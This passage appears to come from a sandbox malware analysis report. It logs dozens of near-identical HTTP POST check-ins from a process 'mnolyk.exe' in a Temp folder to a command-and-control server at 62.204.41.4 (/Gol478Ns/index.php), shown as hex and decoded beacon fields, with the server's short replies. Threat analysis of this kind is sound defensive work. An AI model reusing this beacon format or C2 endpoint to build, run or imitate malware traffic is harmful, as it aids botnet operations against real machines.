Feb 8, 2023 21:33:39.749922991 CET	684	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:39.813281059 CET	684	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:39 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
485	192.168.2.3	50188	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:39.982940912 CET	685	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:40.048501015 CET	685	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
486	192.168.2.3	50189	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:40.218272924 CET	686	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:40.283301115 CET	686	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
487	192.168.2.3	50190	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:40.457307100 CET	687	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:40.522316933 CET	687	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
488	192.168.2.3	50191	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:40.706397057 CET	688	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:40.770910978 CET	688	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
489	192.168.2.3	50192	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:40.958822966 CET	689	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:41.021773100 CET	689	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.3	49751	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:28.918585062 CET	250	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:28.981673002 CET	250	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
490	192.168.2.3	50193	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:41.207055092 CET	690	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:41.273262978 CET	690	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
491	192.168.2.3	50194	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:41.460819006 CET	690	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:41.522612095 CET	691	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
492	192.168.2.3	50195	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:41.704353094 CET	692	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:41.769680977 CET	692	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
493	192.168.2.3	50196	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:41.941741943 CET	693	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:42.006381035 CET	693	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
494	192.168.2.3	50197	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:42.188563108 CET	694	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:42.254254103 CET	694	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
495	192.168.2.3	50198	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:42.429543972 CET	695	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:42.494379997 CET	695	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
496	192.168.2.3	50199	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:42.673837900 CET	696	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:42.738421917 CET	696	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
497	192.168.2.3	50200	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:42.926769972 CET	697	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:42.995301008 CET	697	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
498	192.168.2.3	50201	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:43.176177025 CET	698	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:43.243904114 CET	698	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
499	192.168.2.3	50202	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:43.422784090 CET	699	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:43.487746000 CET	699	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49706	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:10.701281071 CET	205	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:10.763241053 CET	206	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.3	49752	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:29.152514935 CET	251	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:29.218450069 CET	251	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
500	192.168.2.3	50203	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:43.656635046 CET	700	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:43.720843077 CET	700	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
501	192.168.2.3	50204	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:43.896147013 CET	701	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:43.961380959 CET	701	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
502	192.168.2.3	50205	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:33:44.143096924 CET	702	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:33:44.209775925 CET	702	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:33:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
503	192.168.2.3	50206	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
